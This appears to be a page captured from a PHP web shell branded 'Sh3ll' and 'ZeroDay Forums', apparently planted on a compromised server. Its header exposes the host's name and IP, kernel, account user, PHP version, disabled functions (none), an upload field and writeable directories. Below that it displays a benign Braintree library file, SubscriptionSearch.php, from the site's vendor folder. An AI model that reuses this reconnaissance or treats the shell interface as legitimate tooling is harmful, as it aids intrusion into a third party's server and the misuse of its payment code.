Sh3ll
OdayForums


Server : Apache
System : Linux 145.162.205.92.host.secureserver.net 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User : tradze ( 1001)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/tradze/www/vendor/braintree/braintree_php/lib/Braintree/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tradze/www/vendor/braintree/braintree_php/lib/Braintree/SubscriptionSearch.php
<?php

namespace Braintree;

/**
 * Class for setting subscription search queries
 */
class SubscriptionSearch
{
    /*
     * Create a new range node for billing cycles remaining
     *
     * @return RangeNode
     */
    public static function billingCyclesRemaining()
    {
        return new RangeNode('billing_cycles_remaining');
    }

    /*
     * Create a new range node for days past due
     *
     * @return RangeNode
     */
    public static function daysPastDue()
    {
        return new RangeNode('days_past_due');
    }

    /*
     * Create a new text node for id
     *
     * @return TextNode
     */
    public static function id()
    {
        return new TextNode('id');
    }

    /*
     * Create a multiple value node for in trial period
     *
     * @return MultipleValueNode
     */
    public static function inTrialPeriod()
    {
        return new MultipleValueNode('in_trial_period', [true, false]);
    }

    /*
     * Create a multiple value node for merchant account id
     *
     * @return MultipleValueNode
     */
    public static function merchantAccountId()
    {
        return new MultipleValueNode('merchant_account_id');
    }

    /*
     * Create a new range node for next billing date
     *
     * @return RangeNode
     */
    public static function nextBillingDate()
    {
        return new RangeNode('next_billing_date');
    }

    /*
     * Create a multiple value node for plan id
     *
     * @return MultipleValueNode
     */
    public static function planId()
    {
        return new MultipleValueOrTextNode('plan_id');
    }

    /*
     * Create a new range node for price
     *
     * @return RangeNode
     */
    public static function price()
    {
        return new RangeNode('price');
    }

    /*
     * Create a multiple value node for status
     *
     * @return MultipleValueNode
     */
    public static function status()
    {
        return new MultipleValueNode('status', [
            Subscription::ACTIVE,
            Subscription::CANCELED,
            Subscription::EXPIRED,
            Subscription::PAST_DUE,
            Subscription::PENDING,
        ]);
    }

    /*
     * Create a new text node for transaction id
     *
     * @return TextNode
     */
    public static function transactionId()
    {
        return new TextNode('transaction_id');
    }

    /*
     * Create a multiple value node for ids
     *
     * @return MultipleValueNode
     */
    public static function ids()
    {
        return new MultipleValueNode('ids');
    }

    /*
     * Create a new range node for created at
     *
     * @return RangeNode
     */
    public static function createdAt()
    {
        return new RangeNode('created_at');
    }
}

ZeroDay Forums Mini